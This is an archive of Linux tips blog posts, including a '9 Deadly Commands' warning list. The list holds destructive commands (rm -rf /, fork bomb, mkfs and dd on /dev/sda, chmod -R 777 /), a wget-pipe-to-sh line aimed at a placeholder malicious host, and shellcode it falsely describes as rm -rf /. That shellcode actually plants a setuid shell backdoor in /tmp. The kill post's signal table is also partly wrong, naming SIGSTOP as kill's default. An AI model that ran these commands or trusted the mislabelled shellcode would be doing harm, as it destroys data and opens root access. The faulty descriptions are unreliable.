Showing posts with label linux tricks. Show all posts
Showing posts with label linux tricks. Show all posts

Sunday, May 6, 2018

Finding Application / Process Running On Particular Port In Linux Systems

Finding Application / Process Running On Particular Port In Linux Systems



Today, I'm going to show you how to find application / process running on particular port in Linux Systems.

We can use lsof command to find the process running on particular port. The syntax of lsof command to find the application running on particular port looks like following..

lsof -i :port

Summary of above code...
lsof command is used to list open files.. and the argument -i is used to list files whose ip address / port matched to specified ip address / port.

Note: If you ignore ip address / port after -i then the above command will lists processes for all ip addresses...

For example to find the process / application listening on port 80, run the following code..

lsof -i :80

The output will looks like following..

shivaraj@shivaraj-A14RM0E:~$ lsof -i:80 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME plugin_ho 3981 shivaraj 20u IPv4 420822 0t0 TCP 192.168.0.117:33104->45.55.41.223:http (CLOSE_WAIT) shivaraj@shivaraj-A14RM0E:~$

If you omit port value... lsof -i the output will looks like following one..

shivaraj@shivaraj-A14RM0E:~$ lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME plugin_ho 3981 shivaraj 20u IPv4 420822 0t0 TCP 192.168.0.117:33104->45.55.41.223:http (CLOSE_WAIT) node 4165 shivaraj 12u IPv4 509873 0t0 TCP *:http-alt (LISTEN) firefox 4178 shivaraj 114u IPv4 7216095 0t0 TCP 192.168.0.117:42436->server-54-230-190-100.maa3.r.cloudfront.net:https (ESTABLISHED) shivaraj@shivaraj-A14RM0E:~$

By specifying -t for lsof command we can get pid of process listening on particular port... Look at the below command signature..

lsof -t -i :port

If you want to find out pid of process listening on port 80, run the following code..

lsof -t -i :80

The above commands output will looks like..

shivaraj@shivaraj-A14RM0E:~$ lsof -t -i :80 3981 shivaraj@shivaraj-A14RM0E:~$
How to find and kill the process running on particular port..

That's it for now.. If you like don't forget to share it guys.. You can follow us on fb.com/opensourceinside and also subscribe our channel on Youtube..


Saturday, April 2, 2016

How to Manage Systemd Services on Linux

How to Manage Systemd Services
on Linux



Composants systemd

Systemd is now used by default in most Linux distributions, from Fedora and Red Hat to Ubuntu, Debian, openSUSE, and Arch. The systemctl command allows you to get information about systemd's status and control running services.

Despite the controversy, this at least introduces some standardization across Linux distributions. The same commands will allow you to manage services in the same way on any Linux distribution using systemd.

Note: To modify your system configuration on Linux distribution like Ubuntu that uses sudo, you'll need to prefix the commands here with sudo. On other Linux distributions, you'll need to become the root user with the su command first.

What's Systemd ?

systemd is a system and service manager for Linux, compatible with SysV and LSB init scripts.
systemd

  • Provides aggressive parallelization capabilities
  • Uses socket and D-Bus activation for starting services
  • Offers on-demand starting of daemons
  • Implements transactional dependency-based service control logic
  • Tracks processes using Linux cgroups
  • Supports snapshotting and restoring
  • Maintains mount and automount points

  • Check If Your Linux System Is Using Systemd

    If you're not sure whether your Linux distribution is using systemd, open a Terminal window and run the following command. This shows you the version number of systemd on your Linux system, if it does have systemd installed:

    systemd --version
    OR

    systemctl --version

    Output :

    systemd 215 +PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR

    Systemctl

    systemctl is the main tool used to introspect and control the state of the "systemd" system and service manager. You can use systemctl for instance to enable/disable services permanently or only for the current session.See man systemctl for more details.

    Tip:
    • You can use all of the following systemctl commands with the
      -H user@host switch to control a systemd instance on a remote machine. This will use SSH to connect to the remote systemd instance.
    • systemadm is the official graphical frontend for systemctl. It is provided by systemd-ui from the official repositories or by systemd-ui-gitAUR from the AUR for the development version.
    • Plasma users can install systemd-kcm as a graphical fronted for systemctl. After installing the module will be added under System administration.

    Analyze the Boot Process

    The systemd-analyze command allows you to view information about your boot process, such as how long it took and which services (and other processes) added the most time to the boot process.

    To view information about the startup process in general, run this command:

    systemd-analyze

    To view how long each process took to start, run this command:

    systemd-analyze blame

    Analyzing the system state

    Show system status using:

    systemctl status

    Using units

    Systemd uses "units", which can be services (.service), mount points (.mount), devices (.device), or sockets (.socket). The same systemctl command manages all these types of units.

    List running units:

    systemctl
    or: systemctl list-units

    List failed units:

    systemctl --failed

    To view all available unit files on your system:

    The available unit files can be seen in /usr/lib/systemd/system/ and /etc/systemd/system/ (the latter takes precedence). List installed unit files with:

    systemctl list-unit-files

    Managing services with systemd

    To view a list of enabled and disabled services, you use the same systemctl command as above, but tell it to only list services:

    systemctl list-unit-files --type=service

    List all running services:

    systemctl

    Note:

    When using systemctl, you generally have to specify the complete name of the unit file, including its suffix, for example sshd.socket. There are however a few short forms when specifying the unit in the following systemctl commands:

    • If you do not specify the suffix, systemctl will assume .service. For example, netctl and netctl.service are equivalent.
    • Mount points will automatically be translated into the appropriate .mount unit. For example, specifying /home is equivalent to home.mount.
    • Similar to mount points, devices are automatically translated into the appropriate .device unit, therefore specifying /dev/sda2 is equivalent to dev-sda2.device.

    Activates the service named "example1" immediately:

    systemctl start example1

    Deactivates the service "example1" immediately:

    systemctl stop example1

    Restarts the service "example1" immediately:

    systemctl restart example1

    Shows status of the service "example1":

    systemctl status example1

    Enables "example1" to be started on bootup:

    systemctl enable example1

    Disables "example1" to not start during bootup:

    systemctl disable example1

    Power management using Systemd

    polkit is necessary for power management as an unprivileged user. If you are in a local systemd-logind user session and no other session is active, the following commands will work without root privileges. If not (for example, because another user is logged into a tty), systemd will automatically ask you for the root password.


    Shut down and reboot the system:

    systemctl reboot

    Shut down and power-off the system:

    systemctl poweroff

    Suspend the system:

    systemctl suspend

    Put the system into hibernation:

    systemctl hibernate

    Put the system into hybrid-sleep state (or suspend-to-both):

    systemctl hybrid-sleep



    Sunday, March 27, 2016

    How To Move Unity Launcher To The Bottom Of The Screen (In Ubuntu 16.04)

    How To Move Unity Launcher To The Bottom Of The Screen
    ( In Ubuntu 16.04 )


    Ubuntu 16.04 with launcher on bottom of the screen
    Screen Shot : Ubuntu 16.04 launcher moved to bottom of the screen

    Finally the default Unity Desktop’s left launcher panel can be moved to the bottom of screen in Ubuntu 16.04 LTS Xenial Xerus.
    Ubuntu 16.04 has reached its final beta. One of the great new features is that the left launcher panel now is movable: to Left or to Bottom.

    However, the 'option' to change position is buried deep in the geeky depths of dconf-editor it is the one change that everyone is talking about.

    At present, you can change Unity Launcher position in following two ways:

    Method 1: Command line way

    For those prefer Linux commands, this can be done via a single command in terminal:

    Open a terminal (Ctrl+Alt+T) and use the following commands accordingly:

    Move the Unity Launcher to bottom:

    gsettings set com.canonical.Unity.Launcher launcher-position Bottom

    Move the Unity Launcher back to left:

    gsettings set com.canonical.Unity.Launcher launcher-position Left

    For graphical way, do:

    1.You need dconf-editor to do this in GUI way.. so install dconf-editor with following command .

    sudo apt-get install dconf-editor

    2. Launch dconf editor after installation, and navigate to "com -> canonical -> unity -> launcher". Finally change the value of “launcher-position” to select Unity Launcher position.

    To make the bottom panel fit your screen, go to System Settings -> Appearance and change the value of Launcher icon size.

    The change takes into effect immediately. No need for a restart or even closing the dconf editor.

    What do you think of this new feature in Ubuntu 16.04?
    See What's New in Ubuntu 16.04


    Video : Moving Unity Launcher in Ubuntu 16.04



    Monday, November 9, 2015

    Boot-Repair an ultimate solution for frequent boot problems

    Boot-Repair
    an ultimate solution for frequent boot problems

    Boot-Repair is a simple graphical tool to repair frequent boot issues you may encounter in Ubuntu like when you can't boot Ubuntu after installing Windows or another Linux distribution, or when you can't boot Windows after installing Ubuntu, or when GRUB is not displayed anymore, some upgrade breaks GRUB, etc.

    Boot-Repair lets you fix these issues with a simple click, which (generally reinstalls GRUB and) restores access to the operating systems you had installed before the issue.

    Boot-Repair also has advanced options to back up table partitions, back up bootsectors, create a Boot-Info (to get help by email or forum), or change the default repair parameters: configure GRUB, add kernel options (acpi=off ...), purge GRUB, change the default OS, restore a Windows-compatible MBR, repair a broken filesystem, specify the disk where GRUB should be installed, etc.

    You May Also Like: How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command Warning: This software is able to share information about your device for diagnostic purposes. You can chose to opt out in advanced settings. Please read this page fully. The log is quite helpful especially for the novice users.

    Features :

    • Easy-to-use (repair in 1 click ! )
    • Free (GPL open-source license)
    • Helpful (Boot-Info summary to get help by email or on your favorite forum)
    • Safe (automatic backups)
    • Reliable (300.000 users per year)
    • Can recover access to Windows (XP, Vista, Windows7, Windows8).
    • Can recover access to Debian, Ubuntu, Mint, Fedora, OpenSuse, ArchLinux...
    • Can recover access to any OS (Windows, MacOS, Linux..) if your PC contains Debian, Ubuntu, Mint, Fedora, OpenSuse, ArchLinux, or derivative.
    • Can repair MBR-locked OEM computer boot if the original bootsector has been saved by Clean-Ubiquity
    • Can repair the boot when you have the "GRUB Recovery" error message
    • Options to reinstall GRUB2/GRUB1 bootloader easily (OS by default, purge, unhide, kernel options..)
    • and much more ! (UEFI, SecureBoot, RAID, LVM, Wubi, filesystem repair...)

    Getting Boot-Repair

    1st option : get a disk including Boot-Repair

    The easiest way to use Boot-Repair is to create a disk containing the tool (eg Boot-Repair-Disk, a disk starting Boot-Repair automatically), and boot on it. Remark : it is recommended to install the ISO on a live-USB (eg via UnetBootin or LiliUSB or Universal USB Installer). Do not burn it on a DVD if your computer has Windows8 pre-installed, or if your boot is in EFI mode.

    You May Also Like: 58 Cool Linux Hacks!

    2nd option : install Boot-Repair in Ubuntu

    - either from an Ubuntu live-session (boot your computer on a Ubuntu live-CD or live-USB then choose "Try Ubuntu") or from your installed Ubuntu session (if you can access it) - connect to the Internet - open a new Terminal, then type the following commands (press Enter after each line):

    sudo add-apt-repository ppa:yannubuntu/boot-repair
    sudo apt-get update
    sudo apt-get install -y boot-repair && boot-repair
    

    Using Boot-Repair:

    Recommended repair:

    1. launch Boot-Repair from either :
      • the Dash (the Ubuntu logo at the top-left of the screen)
      • or by typing 'boot-repair' in a terminal
    2. Then click the "Recommended repair" button. When repair is finished, note the URL (paste.ubuntu.com/XXXXX) that appeared on a paper, then reboot and check if you recovered access to your OSs.
    3. If the repair did not succeed, indicate the URL to people who help you by email or forum.
    Warning: the default settings are the ones used by the "Recommended Repair". Changing them may worsen your problem. Don't modify them before creating a BootInfo URL, and asking for advice on Ubuntu Forums Absolute Beginners Section or in Installation and Upgrades.

    You May Also Like: Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices

    Advanced options

    If you would like to opt-out of the paste.ubuntu.com link creation (Not recommended for inexperienced users who are seeking help from a forum or IRC member), you can. Simple click on the Advanced Options, and find the "Other Options" tab. Uncheck "Upload the report to a pastebin".
    The log may include UUIDs, LUKS headers, hex dump of your first sectors of your drives, device serial numbers, your username and more.

    You May Also Like: Have More Fun with Windows Vs Mac Vs Linux: 10 Funny Jokes In Pictures

    For More See This Links :

    1. Official website of Boot-Repair
    2. Topic "Boot-repair: Graphical tool to repair the PC boot in 1 click !" - on Ubuntu forum, for any questions/comments.
    3. HOWTO : easily create a Boot-Info summary
    4. Boot Repair on GitHub
    For More : Click to see more interesting posts on OpensourceInside

    Friday, October 30, 2015

    9 Deadly Commands !! You Should Not Run on Linux

    9 Deadly Commands !!

    You Should Not Run on Linux



    We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
    (i.e) Running commands in terminal without proper knowledge about them may break your system.
    (Linux guide :getting start with Linux)
    In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity , enormous in trust and lots of    on Linux.
    So , here i listed some deadly Linux commands which you should not run on your Linux box .
    Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
    On other Linux distributions, most commands must be run as root.
    You May Also Like To Read 58 cool Linux Hacks!

        rm -rf / [ This will Delete Everything! ]

    The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of
    • rm command in Linux is used to delete files.
    • rm -r command deletes the folder recursively, even the empty folder.
    • rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
    • rm -rf / : Force deletion of everything in root directory.
    • rm -rf * : Force deletion of everything in current directory/working directory.
    • rm -rf . : Force deletion of current folder and sub folders.

       Hidden version of rm -rf command [Alternte version of rm -rf /]

    The command shown below is just a hex version of rm -rf / command.
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

       :(){ :|: & };: [ Fork Bomb ]

    This is actually a bash function which creates new copies of itself .
    This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
    You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
    :(){ :|: & };:

    operation of this function:

    This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
    warning:This function even no need root permissions.

       mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

    The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
    mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)
    
    mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])
    
    (wiping sda1 is similar to wiping C drive on windows.)
    
    This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

    NOTE:

    Beware of running commands directly on hard disk devices that begin with /dev/sd.

       command > /dev/sda

    The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
    command - Run a command (can be any command.)
    
    > - Send the output of the command to the following location.
    
    /dev/sda - Write the output of the command directly to the hard disk device.
    

       mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

    /dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
    mv - Move the following file or directory to another location.
    
    ~ - Represents your entire home folder.
    
    /dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.
    

       dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

    This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
    dd - Perform low-level copying from one location to another.
    
    if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).
    
    of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.
    

       wget http://malicious_source -O- | sh [Downloads and Runs a Script]

    The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.
    wget - Downloads a file. (You may also see curl in place of wget.)
    
    http://example.com/something - Download the file from this location.
    
    | - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
    
    sh - Send the file to the sh command, which executes it if it's a bash script.
    

       > file [Flush out your file]

    This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.
    > file
    

    One more command .. sudo chmod -R 777 /

    This is one more command which will create undesirable things..
    sudo chmod -R 777 / 

    This command will give everyone to do anything (read, write, execute) on your system ..
    You may also like to read: Have More Fun with Windows vs Linux vs Mac


    for more posts Click to see more interesting posts on OpensourceInside

    Friday, October 2, 2015

    Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices

    Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices


    We know how difficult(at least for computer newbies) it's to share our files over local network between multiple devices(specially if devices are powered by different operating systems).

    To make this file sharing process simple, over local network , there is a cross platform tool/application available named as Nitroshare available for Linux , Windows and OS X.

    We can share files over local network by just drag and drop.

    Note : This program is for sharing files between computers on the same network;      it does not work over the Internet.



    Key features :
           
    • Runs on Windows / Mac OS X / Linux
    •      
    • Automatic discovery of devices on the local network
    •      
    • Simple and intuitive user interface
    •      
    • Transfer entire directories
    •      
    • Completely free and open-source
    •      
    • Easy to use even for computer newbies


    Installing Nitroshare :

    You can directly download binaries for Nitroshare from their official website.
    Download Nitroshare
    (binaries available for Ubuntu 14.04, 14.10 or 15.04, Windows and Mac OS X as well as the source)

    Optional: Ubuntu 15.04, 14.10 or 14.04 (and derivatives) users can install NitroShare by using its official PPA:

    
         sudo add-apt-repository ppa:george-edison55/nitroshare
         sudo apt-get update
         sudo apt-get install nitroshare
              

    If you find any issue in Nitroshare, you can report @ GitHub



    Using Nitroshare :


             
    • Click on Nitroshare Tray icon and select send files/send directory option will show usual file selection dialogue.
    •        
    • Now select files you want to send.
    •        
    • Now Nitroshare will automatically detect users/devices on same network.
    •        
    • You can pick an account which you want to send files.
    •        
    • You can configure location to receive files using settings option on another computer.
    •        
    • Thats it.. Enjoy ... ♥ with the spirit of opensource


                                                     if you like this article like us on facebook f


    Saturday, July 18, 2015

    How To Save Screen Brightness In Ubuntu 14.04

    How To Save Screen Brightness
    In Ubuntu 14.04 LTS
    (Solution For Screen Brightness Problem On Ubuntu 14.04)

    Laptop users still have the screen brightness problem with Ubuntu 14.04.Every time the screen brightness gets maximum value on Ubuntu startup.

    we can solve this problem by adding a small startup script to adjust the screen brightness levels on ubuntu startup.The script will automatically set/overwrite the default brightness value with specified/desired brightness value when Ubuntu boots up.

    Here the step by step guide to save the screen brightness on Ubuntu 14.04 :

    step 1 :

    open Terminal by Ctrl+Alt+T

    step 2:

    Navigate to backlight directory.

    cd /sys/class/backlight

    step 3 :

    Now you can see two directories(acpi_video0 and radeon_bl0) inside the backlight directory.
    To see them use ls command.

    ls

    step 4 :

    The upcomig steps depends on your computer processor . So you need find whether your computer is powered by intel or AMD.
    The following command will show your processor name....

    lscpu |grep -i vendor

    sample output for AMD :

    shivaraj@shivaraj-A14RM0E:~$ lscpu |grep -i vendor Vendor ID: AuthenticAMD shivaraj@shivaraj-A14RM0E:~$

    sample output for Intel :

    shivaraj@shivaraj-Latitude-D630:~$ lscpu |grep -i vendor Vendor ID: GenuineIntel shivaraj@shivaraj-Latitude-D630:~$

    step 5 :

    • Change your screen brightness level to which you want to set as default.
    • Now find the equivalent value for current brightness level by using this command

    If your processor is AMD then follow this step....

    cat /sys/class/backlight/acpi_video0/actual_brightness

    The above command will give brightness value.

    Sample output:

    shivaraj@shivaraj-A14RM0E:~$ cat /sys/class/backlight/acpi_video0/actual_brightness 2 shivaraj@shivaraj-A14RM0E:~$

    If your processor is Intel then follow this step....

    cat /sys/class/backlight/intel_backlight/actual_brightness

    if the above command didn't show any variations in brightness value for different brightness values..
    then, in above command, replace intel_backlight with the name of another folder(see:the output of step 3) present inside the backlight folder. and try again..

    Sample output:

    shivaraj@shivaraj-Latitude-D630:~$ cat /sys/class/backlight/dell_backlight/actual_brightness 2 shivaraj@shivaraj-Latitude-D630:~$
    [NOTE: Remember This Brightness Values For Future Usage]

    step 6 :

    Get root privileges by using this command:

    sudo -i

    step 7 :

    Now we need to create a new configuration file called fixbrightness.conf

    gedit /etc/init/fixbrightness.conf

    step 8 :

    Now Paste the following code into the above created (fixbrightness.conf) file.

    description "Sets brightness after graphics device is loaded"
    start on graphics-device-added
    task
    exec /bin/echo 2 > /sys/class/backlight/acpi_video0/brightness
    

    In above code,Replace the value 2 > with the brightness value we found in step 5
    Similarly, Replace the folder name acpi_video0 with the folder name you used in step 5(before the word actual_brightness in code)

    step 9 :

    Thats It... Now Reboot Your System

    sudo reboot

    Friday, June 5, 2015

    How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command

    How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command


    kill process in linux

    How do we kill a resource/process in Linux?

    Obviously we find the PID of the resource and then pass the PID to the kill command. Speaking more accurately, we can find PID of a resource (say firefox) as:

    Syntax :

    ps -A | grep -i process name

    e.g.

    ps -A | grep -i firefox

    or

    alternatively we can use pgrep command to find PID

    Syntax :

    pgrep process name

    e.g.

    pgrep firefox

    sample output:

    sample output image not displyed

    In the above output, the number '2697' is the PID of process (firefox), use the kill command to kill the process as shown below.

    Syntax :

    kill PID OR kill -signalName PID OR kill -signalNumber PID

    Where,

    1. signalNumber : A non-negative decimal integer, specifying the signal to be sent instead of the default TERM.
    2. signalName : A symbolic signal name specifying the signal to be sent instead of the default TERM.

    e.g.

    kill 2697

    The kill command sends a signal to a process, whose PID is passed along with the command.

    SIGNAL NUMBERSIGNAL NAMEDescriptionUsed for
    0SIGNULL (NULL)NullCheck access to pid
    1SIGHUP (HUP)HangupTerminate; can be trapped
    2SIGINT (INT)InterruptTerminate; can be trapped
    3SIGQUIT (QUIT)QuitTerminate with core dump; can be trapped
    9SIGKILL (KILL)KillForced termination; cannot be trapped
    15SIGTERM (TERM)TerminateTerminate; can be trapped
    24SIGSTOP (STOP)StopPause the process; cannot be trapped. This is default if signal not provided to kill command.
    25SIGTSTP (STP)TerminalStop/pause the process; can be trapped
    26SIGCONT (CONT)ContinueRun a stopped process

    Alternatively, we can use pkill command, which kills a process based upon name and other attributes of a process. To kill a process say whose name is firefox, we need to execute:

    Syntax :

    pkill process name

    e.g.

    pkill firefox

    Forced Killing (SIGKILL or kill -9)

    The kill command has a misleading name because it does not actually kill processes. Rather, it sends signals to them. Each process is supplied with a set of standard signal handlers by the operating system in order to deal with incoming signals. When no signal is explicitly included in the command, signal 15, named SIGTERM, is sent by default. If this fails, the stronger signal 9, called SIGKILL, should be used. For example, the following command would nearly guarantee that process 485 would be killed:

    Syntax :

    kill -9 PID OR pkill -9 process name

    kill -9 2697 OR pkill -9 firefox

    The only situation in which signal 9 will fail is if the process is in the midst of making a system call, which is a request to the kernel (i.e., the core of the operating system) for some action such as process creation. In this situation, the process will die once it has returned from the system call.

    To list the signal names, pass the -l option as follows:

    There are more than 60 signals that can be used with kill, but, fortunately, most users will only need to be aware of signal 9. The full list is contained in the file /usr/include/linux/signal.h and can be viewed by using kill with its -l option, i.e.,

    kill -l




    Sunday, May 24, 2015

    How to get started with Linux: A beginner's guide

    Linux is one of the biggest Collaborative Development trend and project...



    Linux already dominates the mobile space--via Android--as well as the cloud and high performance computing, but it's still worth pointing out. 
    There's no end in sight to Linux's strength in these areas.

    so we need to know some basic things about Linux before going to use it as our primary os...

    let's see a beginner's guide for new linux users.. 

          The world of Linux is ready to welcome you, with a shower of free open-source software you can use on any PC: hundreds of active Linux distributions, and dozens of different desktop environments you could run on them. It's a far cry from the one-size-fits-all, this-is-just-what-comes-with-your-PC vision of Windows.


           Everything from software installation to hardware drivers works differently on Linux, though, which can be daunting. Take heart--you don't even need to install Linux on your PC to get started. Here's everything you need to know.

    Choose and download a Linux distro

    The first step is choosing the Linux distribution you'll want to use.

    Unlike Windows, there's no single version of Linux. Linux distributions take the Linux kernel and combine it with other software like the GNU core utilities, X.org graphical server, a desktop environment, web browser, and more. Each distribution unites some combination of these elements into a single operating system you can install.

    DistroWatch offers a good, in-depth summary of all the major Linux distributions you might want to try. Ubuntu is a fine place to start for former (or curious) Windows users. Ubuntu strives to eliminate many of Linux's rougher edges. Many Linux users now prefer Linux Mint, which ships with either the Cinnamon or MATE desktops--both are a bit more traditional than Ubuntu's Unity desktop.

     Choosing the single best isn't your first priority, though. Just choose a fairly popular one like Linux Mint, Ubuntu, Fedora, or openSUSE. Head to the Linux distribution's website and download the ISO disc image you'll need. Yes, it's free.

    You can now either burn that ISO image to a DVD, or use a tool like the Universal USB Installer to copy that Linux system to a USB drive. Placing it on a USB drive is a better idea, if possible--the live system will boot and run faster. But if you plan on installing it immediately, a disc is also fine.

    That's the way it'll work on a typical Windows PC, anyway. If you want to use Linux on a Chromebook, Raspberry Pi, or another type of device, there are special instructions you'll need to follow.

    We'll do it live!

    Now you'll need to boot that Linux system. Restart your computer with the disc or USB drive inserted and it should automatically boot. If it doesn't, you may need to change your BIOS or UEFI firmware boot order, or select a boot device during the boot process.

    On modern Windows PCs that came with Windows 8, you may have to disable Secure Boot before booting Linux. Some Linux distributions will boot normally with Secure Boot enabled, while some won't. Most of the larger distributions will....



    you may also like to read :



    Monday, May 4, 2015

    58 Cool Linux Hacks!

    Are you ready to try your hands on these cool Linux hacks! Set your machine on and get started!

     

    Fix a wonky terminal

    • Difficulty: Easy
    • Application: bash
    We've all done it - accidentally used less or cat to list a file, and ended up viewing binary instead. This usually involves all sorts of control codes that can easily screw up your terminal display. There will be beeping. There will be funny characters. There will be odd colour combinations. At the end of it, your font will be replaced with hieroglyphics and you don't know what to do. Well, bash is obviously still working, but you just can't read what's actually going on! Send the terminal an initialisation command:
    reset
    and all will be well again.